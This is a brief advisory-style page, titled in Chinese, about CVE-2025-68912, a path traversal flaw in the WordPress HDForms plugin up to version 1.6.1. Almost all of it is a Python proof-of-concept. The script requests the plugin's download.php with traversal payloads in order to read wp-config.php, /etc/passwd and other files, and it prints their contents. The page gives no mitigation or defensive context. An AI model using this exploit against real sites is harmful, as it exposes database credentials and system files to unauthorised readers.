CVE-2025-68912: HDForms路径遍历漏洞导致任意文件访问

import requests # CVE-2025-68912 Path Traversal PoC # Target: WordPress HDForms Plugin <= 1.6.1 def exploit_path_traversal(target_url, file_path): """ Exploit path traversal vulnerability in HDForms plugin Args: target_url: Base URL of the vulnerable WordPress site file_path: Path to the file to read (e.g., ../../../../etc/passwd) """ # Construct the vulnerable endpoint endpoint = f"{target_url}/wp-content/plugins/hdforms/includes/download.php" # Path traversal payload params = { 'file': file_path } try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully read: {file_path}") print(response.text) return response.text else: print(f"[-] Failed to read file. Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": # Target configuration target = "http://vulnerable-site.com" # Example: Read wp-config.php payloads = [ "../../../../wp-config.php", "../../../../../etc/passwd", "../../../wp-content/plugins/hdforms/readme.txt" ] for payload in payloads: print(f"\n[*] Testing payload: {payload}") exploit_path_traversal(target, payload)